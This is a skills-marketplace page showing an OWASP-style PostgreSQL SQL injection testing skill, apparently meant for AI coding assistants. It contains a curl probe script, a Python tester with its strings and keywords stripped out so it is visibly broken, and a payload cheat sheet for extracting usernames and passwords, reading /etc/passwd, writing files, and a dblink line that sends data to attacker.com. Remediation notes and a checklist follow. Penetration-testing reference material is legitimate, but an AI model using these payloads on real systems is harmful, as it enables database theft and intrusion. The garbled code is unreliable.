Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-05-4명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SOC 직업 분류 기준
SKILL.md 표시 중
| name | wstg-inpv-05.4 |
| description | Testing for SQL Injection - PostgreSQL |
| category | input-validation |
| owasp_id | WSTG-INPV-05.4 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-05.4
Testing for SQL Injection - PostgreSQL
PostgreSQL-specific SQL injection testing exploits PostgreSQL's unique features including dollar-quoted strings, array operations, COPY command for file operations, and extension capabilities. PostgreSQL is common in modern web stacks and offers powerful features that can be exploited.
#!/bin/bash
TARGET="https://target.com/product?id="
echo "[*] Testing for PostgreSQL database..."
# Error-based detection
curl -s "${TARGET}'" | grep -iE "PostgreSQL|psql|Npgsql|PG::|pg_"
# PostgreSQL comment syntax
curl -s "${TARGET}1--"
curl -s "${TARGET}1/*comment*/"
# String concatenation (PostgreSQL uses ||)
curl -s "${TARGET}1'||'test"
# Version detection
curl -s "${TARGET}' UNION SELECT version()--"
# Cast error (PostgreSQL specific)
curl -s "${TARGET}1::int"
#!/usr/bin/env python3
"""
PostgreSQL SQL Injection Tester
"""
requests
re
time
:
():
.url = url
.findings = []
.session = requests.Session()
POSTGRESQL_ERRORS = [
,
,
,
,
,
,
,
,
,
,
,
]
POSTGRESQL_PAYLOADS = {
: [
,
,
,
,
],
: [
,
,
,
,
,
,
],
: [
(, ),
(, ),
(, ),
],
: [
,
,
,
,
,
],
: [
,
,
],
: [
,
,
],
}
():
()
detection_payloads = [
,
,
,
,
]
payload detection_payloads:
:
response = .session.get(.url, params={param: payload})
pattern .POSTGRESQL_ERRORS:
re.search(pattern, response.text, re.IGNORECASE):
()
response.text.lower():
()
Exception e:
():
()
payload .POSTGRESQL_PAYLOADS[]:
:
response = .session.get(.url, params={param: payload})
re.search(, response.text, re.IGNORECASE):
()
version = re.search(, response.text)
version:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
()
start = time.time()
.session.get(.url, params={param: }, timeout=)
baseline = time.time() - start
payload .POSTGRESQL_PAYLOADS[]:
:
start = time.time()
.session.get(.url, params={param: payload}, timeout=)
response_time = time.time() - start
response_time > baseline + :
()
()
()
.findings.append({
: ,
: payload,
:
})
requests.exceptions.Timeout:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
()
file_payloads = [
,
,
]
payload file_payloads:
:
response = .session.get(.url, params={param: payload})
response.text:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
.detect_postgresql(param):
.test_error_based(param)
.test_time_based(param)
.test_file_operations(param)
.generate_report()
():
( + *)
()
(*)
.findings:
()
:
f .findings:
()
f:
()
tester = PostgreSQLSQLiTester()
tester.run_tests(param=)
-- PostgreSQL Version
SELECT version()
-- Current User
SELECT current_user
SELECT user
SELECT session_user
-- Current Database
SELECT current_database()
-- List Databases
SELECT datname FROM pg_database
-- List Tables
SELECT tablename FROM pg_tables WHERE schemaname='public'
SELECT table_name FROM information_schema.tables WHERE table_schema='public'
-- List Columns
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Extract Data
SELECT username || ':' || password FROM users
-- Read Files (requires superuser or pg_read_server_files)
SELECT pg_read_file('/etc/passwd')
SELECT pg_read_file('/etc/passwd', 0, 1000)
-- Write Files (requires superuser or pg_write_server_files)
COPY (SELECT 'test') TO '/tmp/output.txt'
-- Command Execution (requires extension)
-- Load dblink extension: CREATE EXTENSION dblink;
-- Load pg_execute_server_program extension
-- Large Object for file operations
SELECT lo_import('/etc/passwd')
SELECT lo_get(loid) FROM pg_largeobject_metadata
-- DNS Exfiltration via dblink
SELECT * FROM dblink('host=attacker.com user=' || current_user || ' dbname=a', 'SELECT 1') RETURNS (i int)
| Tool | Purpose |
|---|---|
| SQLMap | Automated PostgreSQL SQLi |
| psql | PostgreSQL client |
| pgAdmin | GUI client |
| Burp Suite | Manual testing |
# Python - psycopg2 parameterized queries
import psycopg2
cursor = connection.cursor()
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
// Node.js - pg module
const { Pool } = require("pg")
const pool = new Pool()
pool.query("SELECT * FROM users WHERE id = $1", [userId])
| Finding | CVSS | Severity |
|---|---|---|
| PostgreSQL SQLi with superuser | 9.8 | Critical |
| PostgreSQL file read | 8.6 | High |
| PostgreSQL Blind SQLi | 8.6 | High |
| CWE ID | Title |
|---|---|
| CWE-89 | SQL Injection |
[ ] PostgreSQL database detected
[ ] Error-based injection tested
[ ] Time-based injection tested
[ ] File operations tested
[ ] Extension functions tested
[ ] Findings documented